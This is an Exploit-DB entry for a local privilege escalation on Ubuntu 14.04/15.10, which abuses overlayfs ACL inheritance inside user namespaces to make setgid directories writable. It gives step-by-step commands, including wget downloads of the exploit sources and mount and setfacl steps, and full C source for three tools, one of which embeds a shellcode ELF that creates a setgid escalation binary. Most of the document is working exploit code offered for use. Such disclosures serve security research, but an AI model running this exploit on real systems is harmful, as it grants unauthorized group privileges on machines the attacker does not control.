Ubuntu 14.04/15.10 - User Namespace Overlayfs Xattr SetGID Privilege Escalation

EDB-ID:

41762


Author:

halfdog

Type:

local


Platform:

Linux

Date:

2016-11-22


Source: http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/

## Introduction

### Problem description: 
Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface.
Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose.

Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid.

## Methods

### Target Selection: 
Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)

### Exploitation: 
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it.

### Inside:

test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ ./UserNamespaceExec -- /bin/bash
root# mkdir mnt test work
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily

### Outside:

test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty
test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily

### Inside:

root# chmod 02777 mnt/[targetdir]
root# umount mnt

### Outside:

test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg
test$ test/[targetdir]/escalate ./SuidExec /bin/bash
test$ touch x
test$ ls -al x
-rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x






--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
 *  License: https://www.gnu.org/licenses/lgpl-3.0.en.html
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}
--- EOF ---

--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool creates a new namespace, initialize the uid/gid
 *  map and execute the program given as argument. This is similar
 *  to unshare(1) from newer util-linux packages.
 *
 *  gcc -o UserNamespaceExec UserNamespaceExec.c
 *
 *  Usage: UserNamespaceExec [options] -- [program] [args]
 *
 *  * --NoSetGroups: do not disable group chanages
 *  * --NoSetGidMap:
 *  * --NoSetUidMap:
 */


#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

extern char **environ;

static int childFunc(void *arg) {
  int parentPid=getppid();
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
  while((geteuid()!=0)&&(parentPid==getppid())) {
    sleep(1);
  }
  fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());

  int result=execve(((char**)arg)[0], (char**)arg, environ);
  fprintf(stderr, "Exec failed\n");
  return(1);
}


#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

int main(int argc, char *argv[]) {
  int argPos;
  int noSetGroupsFlag=0;
  int setGidMapFlag=1;
  int setUidMapFlag=1;
  int result;

  for(argPos=1; argPos<argc; argPos++) {
    char *argName=argv[argPos];
    if(!strcmp(argName, "--")) {
      argPos++;
      break;
    }
    if(strncmp(argName, "--", 2)) {
      break;
    }
    if(!strcmp(argName, "--NoSetGidMap")) {
      setGidMapFlag=0;
      continue;
    }
    if(!strcmp(argName, "--NoSetGroups")) {
      noSetGroupsFlag=1;
      continue;
    }
    if(!strcmp(argName, "--NoSetUidMap")) {
      setUidMapFlag=0;
      continue;
    }

    fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
    exit(1);
  }


// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
  pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
      CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
  if(pid==-1) {
    fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
    return(1);
  }

  char idMapFileName[128];
  char idMapData[128];

  if(!noSetGroupsFlag) {
    sprintf(idMapFileName, "/proc/%d/setgroups", pid);
    int setGroupsFd=open(idMapFileName, O_WRONLY);
    if(setGroupsFd<0) {
      fprintf(stderr, "Failed to open setgroups\n");
      return(1);
    }
    result=write(setGroupsFd, "deny", 4);
    if(result<0) {
      fprintf(stderr, "Failed to disable setgroups\n");
      return(1);
    }
    close(setGroupsFd);
  }

  if(setUidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/uid_map", pid);
    fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
    int uidMapFd=open(idMapFileName, O_WRONLY);
    if(uidMapFd<0) {
      fprintf(stderr, "Failed to open uid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getuid());
    result=write(uidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
      return(1);
    }
    close(uidMapFd);
  }

  if(setGidMapFlag) {
    sprintf(idMapFileName, "/proc/%d/gid_map", pid);
    fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
    int gidMapFd=open(idMapFileName, O_WRONLY);
    if(gidMapFd<0) {
      fprintf(stderr, "Failed to open gid map\n");
      return(1);
    }
    sprintf(idMapData, "0 %d 1\n", getgid());
    result=write(gidMapFd, idMapData, strlen(idMapData));
    if(result<0) {
      if(noSetGroupsFlag) {
        fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
      } else {
        fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
        return(1);
      }
    }
    close(gidMapFd);
  }

  if(waitpid(pid, NULL, 0)==-1) {
    fprintf(stderr, "Wait failed\n");
    return(1);
  }
  return(0);
}
--- EOF ---

--- SuidExec.c---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  This tool changes to uid/gid 0 and executes the program supplied
 *  via arguments.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main(int argc, char **argv) {
  if(argc<2) {
    fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
    return(1);
  }

  int rUid, eUid, sUid, rGid, eGid, sGid;
  getresuid(&rUid, &eUid, &sUid);
  getresgid(&rGid, &eGid, &sGid);
  if(setresuid(sUid, sUid, rUid)) {
    fprintf(stderr, "Failed to set uids\n");
    return(1);
  }
  if(setresgid(sGid, sGid, rGid)) {
    fprintf(stderr, "Failed to set gids\n");
    return(1);
  }

  execve(argv[1], argv+1, environ);

  return(1);
}
--- EOF ---